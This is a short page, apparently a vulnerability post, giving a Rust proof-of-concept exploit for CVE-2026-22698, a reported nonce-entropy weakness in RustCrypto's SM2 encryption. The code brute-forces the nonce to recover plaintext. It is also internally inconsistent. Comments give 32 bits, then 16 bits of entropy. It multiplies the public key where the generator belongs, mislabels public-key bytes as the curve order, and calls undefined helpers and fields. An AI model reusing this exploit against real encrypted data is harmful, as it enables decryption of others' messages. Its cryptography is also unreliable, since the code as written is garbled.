CVE-2026-22698 RustCrypto SM2加密实现随机数熵严重不足漏洞

// CVE-2026-22698 PoC - SM2 Nonce Entropy Reduction Attack // This PoC demonstrates the vulnerability where nonce k has only 32 bits of entropy // instead of the expected 256 bits. use sm2::{ PublicKey, EncryptedMessage, Ciphertext, ecies::{ECIESCiphertext, Nonce} }; use sm2::elliptic_curve::rand_core::OsRng; use sm2::elliptic_curve::group::ff::Field; fn exploit_cve_2026_22698( public_key: &PublicKey, ciphertext: &ECIESCiphertext ) -> Result<Vec<u8>, Box<dyn std::error::Error>> { // The vulnerability: nonce k only has 32 bits of entropy (2^16 possible values due to modular reduction) // Normal 256-bit nonce would be computationally infeasible to brute force let n = public_key.public_key().to_bytes(); // Get curve generator order // Brute force search for k (feasible due to 16-bit effective entropy) for k_guess in 0u32..65536u32 { // 2^16 iterations - trivial for modern hardware let k_scalar = sm2::Scalar::from(k_guess); // Calculate k * G to verify against ciphertext component let k_times_g = public_key.public_key() * k_scalar; // Derive shared secret using recovered k let shared_point = public_key.public_key() * k_scalar; let shared_x = shared_point.to_bytes(); // Attempt decryption with this k guess if try_decrypt_with_k(public_key, ciphertext, &k_scalar, &shared_x)? { println!("Found valid k: {}", k_guess); // Derive symmetric key and decrypt return decrypt_payload(ciphertext, &shared_x); } } Err("Failed to recover k".into()) } fn try_decrypt_with_k( pubkey: &PublicKey, ciphertext: &ECIESCiphertext, k: &sm2::Scalar, shared_secret: &[u8] ) -> Result<bool, Box<dyn std::error::Error>> { // Verify S = k * P matches ciphertext's S component let s_computed = pubkey.public_key() * k; Ok(s_computed.to_bytes() == ciphertext.s_component) } // Reference: https://github.com/RustCrypto/elliptic-curves/commit/e4f77788130d065d760e57fb109370827110a525